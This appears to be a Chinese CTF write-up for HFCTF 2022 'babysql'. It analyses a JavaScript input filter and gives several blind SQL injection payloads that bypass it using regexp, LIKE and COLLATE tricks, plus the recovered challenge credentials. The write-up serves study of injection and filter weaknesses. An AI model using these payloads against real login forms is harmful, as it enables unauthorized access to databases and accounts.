HFCTF 2022-babysql

2023-05-17 10:29:40 浏览数 (2)

HFCTF2022-babysql

这个题目的过滤:

代码语言:javascript复制
const r = str
    .replace(/[s,()#;*-]/g, '')
    .replace(/^.*(?=union|binary).*$/gi, '')
    .toString();

其实就是

  1. 不能使用()
  2. 不能使用* - ; # (限制了空格绕过和注释)
  3. 不能使用空白符 (其实结合2就是直接将空格的绕过给限制死了)
  4. 不能使用逗号, (限制了substr(string from int1 for int2)的字符串截取绕过)
  5. 不能使用union (防止了联合注入建立虚表使用自定义密码)
  6. 不能使用binary(限制了binary regexp这个匹配大小写的正则匹配)

最后我使用的是

代码语言:javascript复制
username='||case'1'=`password`regexp' payload 'when'1'then'1'else'0'end 1||'&password=1

但也没检测出大小写, 最后还是使用了爆破(2^18), tcltcl

看到其他师傅WP中的payload(需要爆破):

代码语言:javascript复制
username=a'||`password`like' payload %'and`id`='1'||`password`regexp'[&password=1
username=a'||`password`regexp'^ paylaod 'and`id`='1'or`password`regexp'^[&password=1

实际上官方应该是让我们给出区分大小写的注入方法,这里再放一个其他师傅的payload:

代码语言:javascript复制
username=a'||`password`COLLATE'utf8mb4_0900_as_cs'like' payload %'&&`id`='1'||`password`regexp'[&password=1

最后得到payload:

代码语言:javascript复制
username=qay8tefyzc67aeoo&password=m52FPlDxYyLB^eIzAr!8gxh$

输入直接得到flag

另外在HFCTF2022坐牢复现里面有提到另一种可以成功检测大小写的方法,之前还看到过具体写法的不过可惜没记下来

wp脚本可参考jacko大神的虎符CTF

0 人点赞